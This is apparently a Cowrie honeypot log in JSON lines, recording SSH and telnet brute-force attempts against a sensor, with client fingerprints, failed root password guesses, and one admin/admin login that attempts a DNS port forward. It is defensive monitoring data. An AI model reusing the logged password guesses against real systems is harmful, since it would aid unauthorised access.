{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49268,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2029c9b42d3","protocol":"ssh","message":"New connection: 77.94.47.83:49268 (159.203.135.109:22) [session: f2029c9b42d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:46.016121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:46.020648Z","src_ip":"77.94.47.83","session":"f2029c9b42d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:46.125675Z","src_ip":"77.94.47.83","session":"f2029c9b42d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shibby","message":"login attempt [root/shibby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:46.443693Z","src_ip":"77.94.47.83","session":"f2029c9b42d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:47.552957Z","src_ip":"77.94.47.83","session":"f2029c9b42d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":38422,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ef4f929798b","protocol":"ssh","message":"New connection: 152.32.205.153:38422 (10.17.0.5:22) [session: 2ef4f929798b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:50.614920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:50.618395Z","src_ip":"152.32.205.153","session":"2ef4f929798b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:50.627968Z","src_ip":"152.32.205.153","session":"2ef4f929798b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadm","message":"login attempt [root/sysadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:50.700987Z","src_ip":"152.32.205.153","session":"2ef4f929798b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":59490,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a766ae26687","protocol":"ssh","message":"New connection: 190.244.39.224:59490 (159.203.135.109:22) [session: 6a766ae26687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:51.480241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:51.487924Z","src_ip":"190.244.39.224","session":"6a766ae26687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:51.665107Z","src_ip":"190.244.39.224","session":"6a766ae26687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:51.716425Z","src_ip":"152.32.205.153","session":"2ef4f929798b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789r","message":"login attempt [root/123456789r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:52.367040Z","src_ip":"190.244.39.224","session":"6a766ae26687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:53.549084Z","src_ip":"190.244.39.224","session":"6a766ae26687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":37660,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d3fe22f4fa","protocol":"ssh","message":"New connection: 46.19.67.181:37660 (10.17.0.5:22) [session: 07d3fe22f4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:59.438648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:59.441501Z","src_ip":"46.19.67.181","session":"07d3fe22f4fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:59.545286Z","src_ip":"46.19.67.181","session":"07d3fe22f4fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18071980","message":"login attempt [root/18071980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:11:59.860557Z","src_ip":"46.19.67.181","session":"07d3fe22f4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:00.970584Z","src_ip":"46.19.67.181","session":"07d3fe22f4fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":54200,"dst_ip":"10.17.0.5","dst_port":22,"session":"05a624a3ab51","protocol":"ssh","message":"New connection: 196.196.150.5:54200 (10.17.0.5:22) [session: 05a624a3ab51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:04.622228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:04.626772Z","src_ip":"196.196.150.5","session":"05a624a3ab51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:04.733641Z","src_ip":"196.196.150.5","session":"05a624a3ab51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gj123456","message":"login attempt [root/Gj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:05.197509Z","src_ip":"196.196.150.5","session":"05a624a3ab51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:06.307934Z","src_ip":"196.196.150.5","session":"05a624a3ab51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59634,"dst_ip":"159.203.135.109","dst_port":23,"session":"24fa448a9d1f","protocol":"telnet","message":"New connection: 170.64.224.25:59634 (159.203.135.109:23) [session: 24fa448a9d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:08.123019Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40698,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a59b23024a","protocol":"ssh","message":"New connection: 8.210.75.243:40698 (10.17.0.5:22) [session: c9a59b23024a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:08.562616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:08.566371Z","src_ip":"8.210.75.243","session":"c9a59b23024a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.060041904449463,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:09.182963Z","src_ip":"170.64.224.25","session":"24fa448a9d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34320,"dst_ip":"159.203.135.109","dst_port":23,"session":"148f8374dd32","protocol":"telnet","message":"New connection: 170.64.224.25:34320 (159.203.135.109:23) [session: 148f8374dd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:20.552380Z"}
{"eventid":"cowrie.session.closed","duration":50.53394174575806,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:21.149033Z","src_ip":"107.6.151.170","session":"2528ba25e78b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":42088,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b6c5971b323","protocol":"ssh","message":"New connection: 45.143.200.246:42088 (10.17.0.5:22) [session: 8b6c5971b323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:21.757581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:21.761308Z","src_ip":"45.143.200.246","session":"8b6c5971b323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:21.862765Z","src_ip":"45.143.200.246","session":"8b6c5971b323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55word!","message":"login attempt [root/Pa55word!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:22.302245Z","src_ip":"45.143.200.246","session":"8b6c5971b323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:23.406120Z","src_ip":"45.143.200.246","session":"8b6c5971b323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52772,"dst_ip":"10.17.0.5","dst_port":22,"session":"9938275bc525","protocol":"ssh","message":"New connection: 8.210.75.243:52772 (10.17.0.5:22) [session: 9938275bc525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:35.512372Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":62358,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee5d37d34655","protocol":"ssh","message":"New connection: 176.53.159.196:62358 (10.17.0.5:22) [session: ee5d37d34655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:38.508383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:38.513766Z","src_ip":"176.53.159.196","session":"ee5d37d34655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:38.616006Z","src_ip":"176.53.159.196","session":"ee5d37d34655","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:38.915821Z","src_ip":"176.53.159.196","session":"ee5d37d34655","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:39.017597Z","session":"ee5d37d34655","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:39.118523Z","src_ip":"176.53.159.196","session":"ee5d37d34655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:39.220002Z","src_ip":"176.53.159.196","session":"ee5d37d34655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":49998,"dst_ip":"10.17.0.5","dst_port":22,"session":"770efb7b712b","protocol":"ssh","message":"New connection: 163.7.1.218:49998 (10.17.0.5:22) [session: 770efb7b712b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:42.305427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:12:42.309501Z","src_ip":"163.7.1.218","session":"770efb7b712b","protocol":"ssh"}
